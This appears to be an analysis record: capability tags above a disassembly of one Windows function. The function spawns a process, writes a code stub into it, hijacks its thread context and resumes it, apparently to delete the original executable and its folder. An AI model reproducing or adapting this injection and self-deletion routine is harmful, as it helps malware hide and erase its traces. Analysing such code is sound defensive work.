Function at 0x4012f8
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Resume thread
Set current directory

Disassembly:
mov eax, 0x45ebf2
call fcn.0043b5c0
sub esp, 0xee4
push ebx
push esi
push edi
lea eax, [ebp - 0xe]
mov edi, 0x467550
push 0
push eax
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x467548
mov dword [ebp - 0x3c], edi
call fcn.00401aa5
and dword [ebp - 4], 0
mov ebx, 0x104
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.0040179e
mov esi, eax
mov ecx, dword [esi]
mov byte [ebp - 4], 1
call fcn.00401f43
mov dword [esi + 8], eax
push ebx
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
and byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.004019f3
push esi
lea eax, [ebp - 0xac]
push esi
push eax
lea ecx, [ebp - 0x5c]
call fcn.004017cb
push 0xc
lea eax, [ebp - 0x5c]
sub esp, 0x28
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.004016ed
call fcn.0042c97a
add esp, 0x2c
test al, al
jne 0x4013cb
cmp byte [ebp + 8], al
je 0x4013c4
push 0xc
lea eax, [ebp - 0xac]
sub esp, 0x28
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.004016ed
call fcn.0042c97a
add esp, 0x2c
test al, al
jne 0x4013cb
mov bl, 1
jmp 0x401627
lea eax, [ebp - 0xd]
push esi
push eax
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], 0x467548
mov dword [ebp - 0x64], edi
call fcn.00401aa5
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 3
call fcn.0040179e
mov edi, eax
mov ecx, dword [edi]
mov byte [ebp - 4], 4
call fcn.00401f43
push ebx
push eax
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.004019f3
cmp dword [ebp - 0x78], esi
je 0x401437
lea ecx, [ebp - 0x84]
call fcn.00401f43
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, 0x476124
lea edi, [ebp - 0x1f4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x3d
xor eax, eax
pop ecx
lea edi, [ebp - 0x1e7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x44
xor esi, esi
pop edx
stosb byte es:[edi], al
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xec]
mov dword [ebp - 0xf0], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xf0]
push eax
push esi
push esi
push edx
push esi
push esi
lea eax, [ebp - 0x1f4]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401498
xor bl, bl
jmp 0x401618
mov ecx, 0x28a
xor eax, eax
lea edi, [ebp - 0xeec]
mov dword [ebp - 0xef0], esi
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x6e8], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x6e0], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 0x6dc], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x6d8], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x6d4], eax
mov al, byte [ebp + 8]
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x6e4], edi
mov byte [ebp - 0x6cc], al
call fcn.00401f43
push ebx
push eax
lea eax, [ebp - 0x6cb]
push eax
call fcn.0043b915
add esp, 0xc
cmp byte [ebp + 8], 0
je 0x401535
lea ecx, [ebp - 0xac]
call fcn.00401f43
push ebx
push eax
lea eax, [ebp - 0x5c7]
push eax
call fcn.0043b915
add esp, 0xc
push esi
push esi
lea eax, [ebp - 0x6ec]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x20]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x4016ec
mov eax, 0x401653
sub ecx, eax
cmp ecx, 0x800
ja 0x401491
push ecx
push eax
lea eax, [ebp - 0xeec]
push eax
call fcn.0043b5e0
add esp, 0xc
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x4c0], 0x10003
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x3fc]
mov ebx, 0xa2d
lea esi, [eax - 0xa2d]
and esi, 0xffffffe0
mov dword [ebp - 0xef0], esi
lea eax, [esi - 4]
mov dword [ebp - 0x3fc], eax
lea eax, [esi + 4]
mov dword [ebp - 0x408], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
lea eax, [ebp - 0xef0]
push ebx
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x4c0]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x20]
call edi
mov bl, 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 2
call fcn.0040127e
and byte [ebp - 4], 0
lea ecx, [ebp - 0xac]
call fcn.0040127e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.0040127e
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret